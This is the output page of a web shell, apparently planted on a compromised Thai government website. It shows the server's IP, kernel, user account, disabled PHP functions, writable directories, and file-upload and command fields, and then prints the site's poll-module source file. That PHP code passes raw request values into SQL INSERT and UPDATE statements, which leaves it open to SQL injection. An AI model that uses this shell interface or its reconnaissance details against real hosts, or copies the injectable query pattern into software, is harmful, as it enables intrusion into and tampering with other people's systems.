403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.133.157.170
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/poll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/poll/insert.php
<?php
session_start();
echo "<title>ตั้งแบบสำรวจใหม่</title>";
echo"<link href='../../ccs/style.css' rel='stylesheet' type='text/css'>";
include("../../../$_SESSION[web_name]/connect.php");

import_request_variables('pG', 'p_');


echo"<table width='97%' border='0' cellpadding='0' cellspacing='0' align=center><tr><td>";
echo "<fieldset><legend align=left><font color='$datatm[color1]'>แบบสำรวจความคิดเห็น</font></legend><br>";

if($p_c1!="")				{    	$c1=trim($p_c1);		}
if($p_c2!="")				{    	$c2=trim($p_c2);		}
if($p_c3!="")				{    	$c3=trim($p_c3);		}
if($p_c4!="")				{    	$c4=trim($p_c4);		}
if($p_c5!="")				{    	$c5=trim($p_c5);		}
if($p_c6!="")				{    	$c6=trim($p_c6);		}
if($p_c7!="")				{    	$c7=trim($p_c7);		}
if($p_c8!="")				{    	$c8=trim($p_c8);		}
if($p_c9!="")				{    	$c9=trim($p_c9);		}
if($p_topic!="")			{    	$topic=trim($p_topic);		}
// ############# Add data ###########################

if($c1!="")
{
$sqlmax="select max(id+1) from cms_poll";
$resultmax=mysql_query($sqlmax);
$datamax=mysql_fetch_row($resultmax);
if ($datamax[0]==""){$datamax[0]="1";}
$d1=date("j F Y");

// แก้ไขแบบสำรวจล่าสุดให้เป็นแบบสำรวจเก่า
$sql1="update cms_poll set status='0',datetime2='$d1' where status='1'";
$result1=mysql_query($sql1);
echo "<br><br>";
// เพิ่มแบบสำรวจใหม่
	$sql="INSERT INTO `cms_poll` ( `id` , `topic` , `choose1` , `choose2` , `choose3` , `choose4` , `choose5` , `choose6` , `choose7` , `choose8` , `choose9` , `status` , `datetime1`, `datetime2`) VALUES ('$datamax[0]','$topic','$c1','$c2','$c3','$c4','$c5','$c6','$c7','$c8','$c9','1','$d1','ปัจจุบัน')";
	$result=mysql_query($sql);
	echo"<table width='98%' border='0' cellpadding='0' cellspacing='1' bgcolor='$datatm[color1]' align=center>";
	echo "<tr><td bgcolor='#FFFFFF' height='140'>";
	echo"<table width='98%' border='0' cellspacing='0' align='center' cellpadding='0'><tr><td>";
		echo "<center>ข้อมูลได้ถูกเพิ่มแล้ว<br><br></center>";
		echo "</td></tr></table>";
		echo "<meta http-equiv='refresh' content='2; url=result.php'>" ;
		exit;
	echo "</td></tr>";
	echo "</table>";
	echo "</td></tr>";
	echo "</table>";
?>


<table width='98%' border='0' cellspacing='1' align='center' cellpadding='0'>
<tr> 
 <td bgcolor="#FFFFFF" height="140" valign="top"> <div align='center'>
<?php

}
 echo "<br>";
//  #################First page ###############
 if($c1=="")
{
echo"<center>";
echo"<FORM NAME='formupdate' METHOD=POST ACTION='insert.php' onSubmit='return check()'>";
echo"<table width='98%' border='0' cellpadding='0' cellspacing='1' bgcolor=#f0e8d0>";
			echo "<tr> ";
					echo"<td width='98%' height='25' align=center>";
									echo"<img src='../../images/left.gif'>&nbsp;<a href='result.php'><b>Back</b></a>&nbsp;&nbsp;ตั้งแบบสำรวจใหม่";
								    echo "";															
					echo"</td>";
			echo"</tr>";
echo"</table>";

//ข้อมูลที่ต้องเพิ่ม
echo"<table width='98%' border='0' cellpadding='0' cellspacing='1' bgcolor='#eff3f7'>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/bullet2.gif'>&nbsp;คำถาม</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='topic' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 1</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c1' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 2</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c2' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 3</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c3' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 4</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c4' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 5</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c5' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 6</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c6' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 7</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c7' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 8</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c8' size='50' value=''></td>";
			echo"</tr>";
			echo "<tr> ";
					echo "<td width='20%' height='25' bgcolor='ffffff'>&nbsp;<img src='../../../coremain/images/marker.gif'>&nbsp;คำตอบที่ 9</td>";
					echo"<td width='70%' height='25' bgcolor='ffffff'><INPUT TYPE='text' NAME='c9' size='50' value=''></td>";
			echo"</tr>";
echo "</table>";

echo"<table width='98%' border='0' cellpadding='0' cellspacing='1' bgcolor='$datatm[color1]'>";
			echo "<tr> ";
					echo"<td width='98%' height='25' bgcolor='ffffff'>";
						echo "<center><INPUT TYPE='submit' Value='เพิ่มข้อมูล' onmouseover=this.style.cursor='hand'></center>";												
					echo"</td>";
			echo"</tr>";
echo"</table>";
echo"</FORM></center><br>";
}
?>

<script language="javascript">
function check() {
if(document.formupdate.topic.value=="") {
alert("คุณต้องกรอกคำถาม !") ;
document.formupdate.topic.focus() ;
return false ;
}
if(document.formupdate.c1.value=="") {
alert("คุณต้องกรอก คำตอบที่ 1  !") ;
document.formupdate.c1.focus() ;
return false ;
}
if(document.formupdate.c2.value=="") {
alert("คุณต้องกรอก คำตอบที่ 2 !") ;
document.formupdate.c2.focus() ;
return false ;
}
else 
return true ;
}
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit